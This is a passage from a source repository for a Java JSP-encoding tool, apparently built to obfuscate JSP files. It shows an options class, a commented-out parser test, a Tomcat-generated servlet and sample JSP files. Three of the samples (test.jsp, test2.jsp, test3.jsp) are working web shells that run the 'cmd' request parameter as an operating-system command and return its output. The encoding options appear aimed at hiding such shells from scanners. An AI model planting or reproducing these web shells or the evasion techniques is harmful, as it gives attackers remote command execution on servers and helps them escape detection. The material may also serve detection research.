null; 20 | public boolean removeBom = false; 21 | public boolean charsetDeclareLater = false; 22 | public String charsetDeclare = "utf-8"; 23 | 24 | public String codeEscapeType; 25 | 26 | // jsp:root ,false :declare charset valid, true: namespace can change 27 | public boolean removeJspRootTag = false; 28 | 29 | // 30 | public String charsetDeclareAttr = Const.DeclareAttr.pageEncoding.name(); 31 | 32 | 33 | public String attrEscapeType = Const.EscapeType.entityNormal.name(); 34 | public String txtEscapeType = Const.EscapeType.entityNormal.name(); 35 | 36 | // xmlVersion 1.1 && set controllerSpaceReplace 37 | //public boolean controllerSpaceOn = false; 38 | public Map controllerSpaceReplace = null; 39 | // new HashMap(){{ 40 | // put("(","%s("); 41 | // put(")",")%s"); 42 | // }}; 43 | 44 | // entity | cdata 45 | // public String escapeType = "entity"; 46 | // 13 47 | // 10 | 16 | 48 | // 5 | 8 49 | public int entityEscapeType = 10; 50 | public int cdataWrapCap = -1; 51 | public boolean tagSetPropertyOn = false; 52 | public boolean tagUseBeanOn = false; 53 | 54 | 55 | @Override 56 | public String toString() { 57 | return "Options{" + 58 | "extTags=" + extTags + 59 | ", fileType='" + fileType + '\'' + 60 | ", attributeEscape=" + attributeEscape + 61 | ", namespace='" + namespace + '\'' + 62 | ", xmlVersion='" + xmlVersion + '\'' + 63 | ", jspVersion='" + jspVersion + '\'' + 64 | ", charsetMagic='" + charsetMagic + '\'' + 65 | ", removeBom=" + removeBom + 66 | ", charsetDeclareLater=" + charsetDeclareLater + 67 | ", charsetDeclare='" + charsetDeclare + '\'' + 68 | ", codeEscapeType='" + codeEscapeType + '\'' + 69 | ", removeJspRootTag=" + removeJspRootTag + 70 | ", charsetDeclareAttr='" + charsetDeclareAttr + '\'' + 71 | ", attrEscapeType='" + attrEscapeType + '\'' + 72 | ", txtEscapeType='" + txtEscapeType + '\'' + 73 | ", controllerSpaceReplace=" + controllerSpaceReplace + 74 | ", entityEscapeType=" + entityEscapeType + 75 | ", cdataWrapCap=" + cdataWrapCap + 76 | ", tagSetPropertyOn=" + tagSetPropertyOn + 77 | ", tagUseBeanOn=" + tagUseBeanOn + 78 | '}'; 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /src/main/java/org/apache/jasper/compiler/Test.java: -------------------------------------------------------------------------------- 1 | //package org.apache.jasper.compiler; 2 | // 3 | //import org.apache.jasper.JasperException; 4 | //import org.apache.jasper.JspCompilationContext; 5 | //import org.apache.jasper.compiler.Node; 6 | //import sun.misc.Unsafe; 7 | // 8 | //import java.io.IOException; 9 | //import java.lang.reflect.Field; 10 | // 11 | //public class Test { 12 | // public static void main(String[] args) throws Exception { 13 | // 14 | // 15 | // String file = Test.class.getResource("/test.jsp").getPath(); 16 | // 17 | // 18 | // Field field = Unsafe.class.getDeclaredField("theUnsafe"); 19 | // field.setAccessible(true); 20 | // Unsafe unsafe = (Unsafe) field.get(null); 21 | // 22 | // JspCompilationContext ctx = (JspCompilationContext) unsafe.allocateInstance(JspCompilationContext.class); 23 | // Compiler compiler = new JDTCompiler(); 24 | // ParserController parserCtl = new ParserController(ctx, compiler); 25 | // 26 | // // Pass 1 - the directives 27 | // Node.Nodes directives = 28 | // parserCtl.parseDirectives(file); 29 | // //Validator.validateDirectives(this, directives); 30 | // 31 | // // Pass 2 - the whole translation unit 32 | // Node.Nodes pageNodes = parserCtl.parse(file); 33 | // 34 | // } 35 | //} 36 | -------------------------------------------------------------------------------- /src/main/resources/encoded_jsp.jsp: -------------------------------------------------------------------------------- 1 | /*E:\turn1tup\program_java\2022.11.04_jsp\apache-tomcat-10.0.27-windows-x64\apache-tomcat-10.0.27\work\Catalina\localhost\ROOT\org\apache\jsp\encoded_jsp.java 2 | * Generated by the Jasper component of Apache Tomcat 3 | * Version: Apache Tomcat/10.0.27 4 | * Generated at: 2022-11-10 14:27:48 UTC 5 | * Note: The last modified time of this file was set to 6 | * the last modified time of the source file after 7 | * generation to assist with modification tracking. 8 | */ 9 | package org.apache.jsp; 10 | 11 | import jakarta.servlet.*; 12 | import jakarta.servlet.http.*; 13 | import jakarta.servlet.jsp.*; 14 | 15 | public final class encoded_jsp extends org.apache.jasper.runtime.HttpJspBase 16 | implements org.apache.jasper.runtime.JspSourceDependent, 17 | org.apache.jasper.runtime.JspSourceImports { 18 | 19 | private static final jakarta.servlet.jsp.JspFactory _jspxFactory = 20 | jakarta.servlet.jsp.JspFactory.getDefaultFactory(); 21 | 22 | private static java.util.Map _jspx_dependants; 23 | 24 | private static final java.util.Set _jspx_imports_packages; 25 | 26 | private static final java.util.Set _jspx_imports_classes; 27 | 28 | static { 29 | _jspx_imports_packages = new java.util.HashSet<>(); 30 | _jspx_imports_packages.add("jakarta.servlet"); 31 | _jspx_imports_packages.add("jakarta.servlet.http"); 32 | _jspx_imports_packages.add("jakarta.servlet.jsp"); 33 | _jspx_imports_classes = null; 34 | } 35 | 36 | private volatile jakarta.el.ExpressionFactory _el_expressionfactory; 37 | private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager; 38 | 39 | public java.util.Map getDependants() { 40 | return _jspx_dependants; 41 | } 42 | 43 | public java.util.Set getPackageImports() { 44 | return _jspx_imports_packages; 45 | } 46 | 47 | public java.util.Set getClassImports() { 48 | return _jspx_imports_classes; 49 | } 50 | 51 | public jakarta.el.ExpressionFactory _jsp_getExpressionFactory() { 52 | if (_el_expressionfactory == null) { 53 | synchronized (this) { 54 | if (_el_expressionfactory == null) { 55 | _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory(); 56 | } 57 | } 58 | } 59 | return _el_expressionfactory; 60 | } 61 | 62 | public org.apache.tomcat.InstanceManager _jsp_getInstanceManager() { 63 | if (_jsp_instancemanager == null) { 64 | synchronized (this) { 65 | if (_jsp_instancemanager == null) { 66 | _jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig()); 67 | } 68 | } 69 | } 70 | return _jsp_instancemanager; 71 | } 72 | 73 | public void _jspInit() { 74 | } 75 | 76 | public void _jspDestroy() { 77 | } 78 | 79 | public void _jspService(final jakarta.servlet.http.HttpServletRequest request, final jakarta.servlet.http.HttpServletResponse response) 80 | throws java.io.IOException, jakarta.servlet.ServletException { 81 | 82 | if (!jakarta.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) { 83 | final java.lang.String _jspx_method = request.getMethod(); 84 | if ("OPTIONS".equals(_jspx_method)) { 85 | response.setHeader("Allow","GET, HEAD, POST, OPTIONS"); 86 | return; 87 | } 88 | if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"HEAD".equals(_jspx_method)) { 89 | response.setHeader("Allow","GET, HEAD, POST, OPTIONS"); 90 | response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSP 只允许 GET、POST 或 HEAD。Jasper 还允许 OPTIONS"); 91 | return; 92 | } 93 | } 94 | 95 | final jakarta.servlet.jsp.PageContext pageContext; 96 | jakarta.servlet.http.HttpSession session = null; 97 | final jakarta.servlet.ServletContext application; 98 | final jakarta.servlet.ServletConfig config; 99 | jakarta.servlet.jsp.JspWriter out = null; 100 | final java.lang.Object page = this; 101 | jakarta.servlet.jsp.JspWriter _jspx_out = null; 102 | jakarta.servlet.jsp.PageContext _jspx_page_context = null; 103 | 104 | 105 | try { 106 | response.setContentType("text/html"); 107 | pageContext = _jspxFactory.getPageContext(this, request, response, 108 | null, true, 8192, true); 109 | _jspx_page_context = pageContext; 110 | application = pageContext.getServletContext(); 111 | config = pageContext.getServletConfig(); 112 | session = pageContext.getSession(); 113 | out = pageContext.getOut(); 114 | _jspx_out = out; 115 | 116 | out.write('\n'); 117 | java.lang.Object test = null; 118 | test = (java.lang.Object) _jspx_page_context.getAttribute("test", jakarta.servlet.jsp.PageContext.PAGE_SCOPE); 119 | if (test == null){ 120 | test = new java.lang.Object(); 121 | _jspx_page_context.setAttribute("test", test, jakarta.servlet.jsp.PageContext.PAGE_SCOPE); 122 | } 123 | out.write('\n'); 124 | org.apache.jasper.runtime.JspRuntimeLibrary.introspect(_jspx_page_context.findAttribute("test"), request); 125 | out.write(" "); 126 | } catch (java.lang.Throwable t) { 127 | if (!(t instanceof jakarta.servlet.jsp.SkipPageException)){ 128 | out = _jspx_out; 129 | if (out != null && out.getBufferSize() != 0) 130 | try { 131 | if (response.isCommitted()) { 132 | out.flush(); 133 | } else { 134 | out.clearBuffer(); 135 | } 136 | } catch (java.io.IOException e) {} 137 | if (_jspx_page_context != null) _jspx_page_context.handlePageException(t); 138 | else throw new ServletException(t); 139 | } 140 | } finally { 141 | _jspxFactory.releasePageContext(_jspx_page_context); 142 | } 143 | } 144 | } 145 | -------------------------------------------------------------------------------- /src/main/resources/matrix.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/src/main/resources/matrix.xlsx -------------------------------------------------------------------------------- /src/main/resources/setPropertyDemo.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /src/main/resources/test.jsp: -------------------------------------------------------------------------------- 1 | <%@page import="java.util.*,java.io.*" contentType="text/html" %> 2 | <%@page import="java.fff.*,java.111.*" contentType="text/html" %> 3 | <%! class Test1{} %> 4 | <%! class Test2{} %> 5 | <%= out.write("I'm expr1 ") %> 6 | <%= out.write("I'm expr2 ") %> 7 | <% out.write("I'm scriptlet1 "); %> 8 | <% 9 | if (request.getParameter("cmd") != null) { 10 | 11 | Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); 12 | OutputStream os = p.getOutputStream(); 13 | InputStream in = p.getInputStream(); 14 | DataInputStream dis = new DataInputStream(in); 15 | String disr = dis.readLine(); 16 | while ( disr != null ) { 17 | out.println(disr); 18 | disr = dis.readLine(); 19 | } 20 | } 21 | 22 | %> -------------------------------------------------------------------------------- /src/main/resources/test.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/src/main/resources/test.txt -------------------------------------------------------------------------------- /src/main/resources/test2.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 21 | 22 | 23 | 24 | out.write("I'm turn1tup111 "); 25 | if (request.getParameter("cmd") != null) { 26 | 27 | Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); 28 | OutputStream os = p.getOutputStream(); 29 | InputStream in = p.getInputStream(); 30 | DataInputStream dis = new DataInputStream(in); 31 | String disr = dis.readLine(); 32 | while ( disr != null ) { 33 | out.println(disr); 34 | disr = dis.readLine(); 35 | } 36 | } 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /src/main/resources/test3.jsp: -------------------------------------------------------------------------------- 1 | <%@page import="java.util.*,java.io.*" contentType="text/html" %> 2 | <%! class Test{} %> 3 | <% 4 | 5 | if (request.getParameter ("cmd") != null) { 6 | boolean isWin = System.getProperty("os.name").toUpperCase().contains("WIN"); 7 | String[] cmd = {isWin?"cmd":"/bin/bash",isWin?"/c":"-c",request.getParameter("cmd")}; 8 | InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); 9 | OutputStream outputStream = response.getOutputStream(); 10 | int a; 11 | outputStream.write(String.valueOf(System.currentTimeMillis()).getBytes()); 12 | while((a=inputStream.read())!=-1){ 13 | outputStream.write(a); 14 | } 15 | } 16 | 17 | %> -------------------------------------------------------------------------------- /src/main/resources/useBeanDemo.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 | --------------------------------------------------------------------------------